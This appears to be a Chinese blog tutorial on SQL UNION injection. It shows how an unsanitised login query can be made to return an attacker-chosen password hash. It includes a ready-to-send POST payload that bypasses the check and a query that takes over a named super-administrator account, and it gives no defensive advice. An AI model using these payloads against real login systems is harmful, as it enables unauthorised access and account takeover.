巧妙地使用 SQL UNION 注入 作者: Chuwen 时间: 2020-07-01 分类: MySQL 评论 我们一般验证用户登录时,密码是否输入正确,一般是会这么做 1. 客户端 通过 post 提交用户名(username)和密码(pwd) 2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 `$username` 变量是获取用户 post 提交的用户名): `SELECT username,pwd FROM user_table WHERE username='$username'` 3. 然后查询得到结果,判断查询结果的密码是否与**接收的密码**一致 4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入 > 注意末尾 **#** 别漏掉了,写上这个就会忽略后面所有的语句 ``` SELECT username,pwd FROM user_table WHERE username='' UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'# ``` 此条语句的执行结果是: ``` +----------+----------------------------------+ | username | pwd | +----------+----------------------------------+ | | 45cf93bd4f762c6597b68e615b153bd0 | +----------+----------------------------------+ ``` 没错,我们使用 `UNION SELECT` 查询,可以控制输出字段的值,但前提是你要知道**查询了哪些字段** 这样我们 POST 提交参数: ``` username='UNION SELECT '','123456'#&pwd=123456 ``` 就可以骗过验证 --- 如果你知道某个账号(假设是 `nowtime`)具有**超级管理员权限**,那么让其执行以下语句就可以控制输出其密码 ``` SELECT username,pwd FROM user WHERE username='' UNION select username,'123456' as pwd FROM user where username='nowtime'# ``` 运行结果: ``` +----------+----------+ | username | pwd | +----------+----------+ | nowtime | 123456 | +----------+----------+ ```